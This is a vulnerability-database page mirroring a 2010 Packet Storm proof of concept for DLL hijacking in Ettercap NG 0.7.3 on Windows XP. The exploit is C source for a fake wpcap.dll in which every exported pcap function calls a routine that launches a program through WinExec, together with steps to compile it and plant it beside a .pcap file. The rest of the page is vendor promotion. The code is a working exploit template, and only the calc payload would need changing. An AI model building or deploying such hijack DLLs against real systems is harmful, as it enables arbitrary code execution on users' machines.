Lucene search
K

Ettercap NG 0.7.3 DLL Hijacking Exploit

🗓️ 26 Aug 2010 00:00:00Reported by Packet StormType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 20 Views

Ettercap NG 0.7.3 DLL Hijacking Exploit on Windows XP SP

Code
`/*  
Exploit Title: Ettercap NG-0.7.3 DLL hijacking (wpcap.dll)  
Date: 25/08/2010  
Author: REMOVED BY REQUEST OF AUTHOR  
Tested on: Windows XP SP3  
Vulnerable extensions: .pcap  
Compile and rename to wpcap.dll, create a file in the same dir .pcap extension  
and visit http://chaossecurity.wordpress.com/  
*/  
  
#include <windows.h>  
#define DLLIMPORT __declspec (dllexport)  
  
  
DLLIMPORT void pcap_findalldevs() { evil(); }  
DLLIMPORT void pcap_close() { evil(); }  
DLLIMPORT void pcap_compile() { evil(); }  
DLLIMPORT void pcap_datalink() { evil(); }  
DLLIMPORT void pcap_datalink_val_to_description() { evil(); }  
DLLIMPORT void pcap_dump() { evil(); }  
DLLIMPORT void pcap_dump_close() { evil(); }  
DLLIMPORT void pcap_dump_open() { evil(); }  
DLLIMPORT void pcap_file() { evil(); }  
DLLIMPORT void pcap_freecode() { evil(); }  
DLLIMPORT void pcap_geterr() { evil(); }  
DLLIMPORT void pcap_getevent() { evil(); }  
DLLIMPORT void pcap_lib_version() { evil(); }  
DLLIMPORT void pcap_lookupdev() { evil(); }  
DLLIMPORT void pcap_lookupnet() { evil(); }  
DLLIMPORT void pcap_loop() { evil(); }  
DLLIMPORT void pcap_open_live() { evil(); }  
DLLIMPORT void pcap_open_offline() { evil(); }  
DLLIMPORT void pcap_setfilter() { evil(); }  
DLLIMPORT void pcap_snapshot() { evil(); }  
DLLIMPORT void pcap_stats() { evil(); }  
int evil()  
  
{  
WinExec("calc", 0);  
exit(0);  
return 0;  
}  
  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation